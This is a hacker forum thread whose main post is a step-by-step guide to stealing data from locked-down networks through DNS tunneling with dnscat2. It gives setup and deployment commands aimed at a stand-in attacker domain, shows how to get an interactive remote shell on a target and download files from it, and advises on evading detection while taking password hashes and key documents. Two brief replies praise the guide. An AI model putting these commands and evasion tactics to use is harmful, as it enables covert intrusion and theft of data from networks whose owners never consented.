Forum:Hack Forums

Thread: Data Exfiltration via DNS Tunneling

Oh_Well - *August 21, 2025, 6:50 am*

Digital Alchemy: Data Exfiltration via DNS Tunneling
When every door is watched, send your secrets through the walls themselves.
For educational purposes only

Firewalls block ports. Proxies filter traffic. Deep Packet Inspection reads your mail.
You need to get data out of a locked-down network without triggering a single alarm.
This is where you need the art of DNS Tunneling.

1. The Core Concept: No Trust

Most networks tightly control web (HTTP/HTTPS) and email traffic. But nearly all allow DNS (Port 53). Why? Because without DNS, nothing works. Employees can't browse, apps can't phone home. It's a trusted, necessary service. But also a potential channel.

We turn data into fake DNS queries (e.g., long-string-of-data.yourdomain.com), send them to a server you own, which decodes the data from the subdomain.

2. What You'll Need: The Setup

A Domain You Own: (yourdomain.com)

A VPS Server: Any cloud box. This will be your DNS server - If you look in the marketplace you'll find plenty of HF members offering VPS servers!

dnscat2: The tool of choice. Client on the target, server on your VPS.

3. Server Setup: The Listening Post

Get your VPS ready. Install the prerequisites, then dnscat2.

Code On your VPS (Ubuntu/Debian example)
```
sudo apt update
sudo apt install ruby git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
```

sudo gem install bundler
bundle install
Now, configure your domain. Point its NS (Name Server) record to your VPS. Create an NS record for a subdomain you'll use for tunneling:

Create Record: Type NS

Host: tunnel (this will be tunnel.yourdomain.com)

Value/Points to: your.vps.ip.address

Wait for DNS propagation. This can take some time.

Now, start the dnscat2 server on your VPS:
Code The server must run as root to listen on port 53
sudo ruby ./dnscat2.rb tunnel.yourdomain.com --no-cacheYour server is now listening for its secret instructions disguised as DNS lookups.

4. Client Deployment: The Infiltration

You need to get the client on the target machine. Pre-compiled binaries are best to avoid dependencies.

Code Download a pre-built client (Windows example)
Upload it to the target and run it from your shell:
dnscat2-client.exe --dns server=tunnel.yourdomain.com --max-retries 0

On Linux, you may need to compile it:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

Then execute:
./dnscat2 tunnel.yourdomain.com
The moment you run the client, check your server window. You should see a new session open.

5. The Magic: Interactive Tunneling

Your server now has an interactive session. List your sessions and interact with one.

Code dnscat2> windows
0: main [active]
1: command (myhostname) [encrypted?] [session: 1]
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
This is a command session!

You can run any command, just like a shell.
You now have a fully interactive shell tunneled entirely over DNS requests and responses. It will be slow, but it is incredibly stealthy.

6. Exfiltrating Files: The Main Event

You can run shell commands to exfiltrate data piece by piece, or use dnscat2's built-in upload feature for a more reliable transfer.

Code From your dnscat2 server session (session 1)
download /path/on/target/to/secret_file.zip

The file will be transferred chunk by chunk via DNS and saved on your server.
7. OpSec & Detection Evasion
Slow and Low: This is not for large files. It's slow. Exfiltrate key documents, password hashes, not entire movie collections.

Use Encryption: dnscat2 encrypts traffic by default. This also helps evade data pattern matching.

Beware of Logs: While stealthy, a sharp admin might notice a huge volume of DNS queries to a single, unknown domain. Monitor your query rate.

Alternative Domains: Use a common, trusted-sounding domain name to blend traffic.

This is not a tool for loud victories. It is a tool for long, silent, and total ownership.

Code sudo ruby ./dnscat2.rb your-covert-channel.com --no-cache

The most powerful secrets are never seen leaving. They simply vanish.

Novo - *April 9, 2026, 1:22 am*
i was researching dns tunneling lately, looks very interesting!

CL1B - *August 8, 2026, 2:18 am*
Inspiring, thank you. Also a good read.

I'll play around with your approach later this week, perhaps share my take on this through a POC.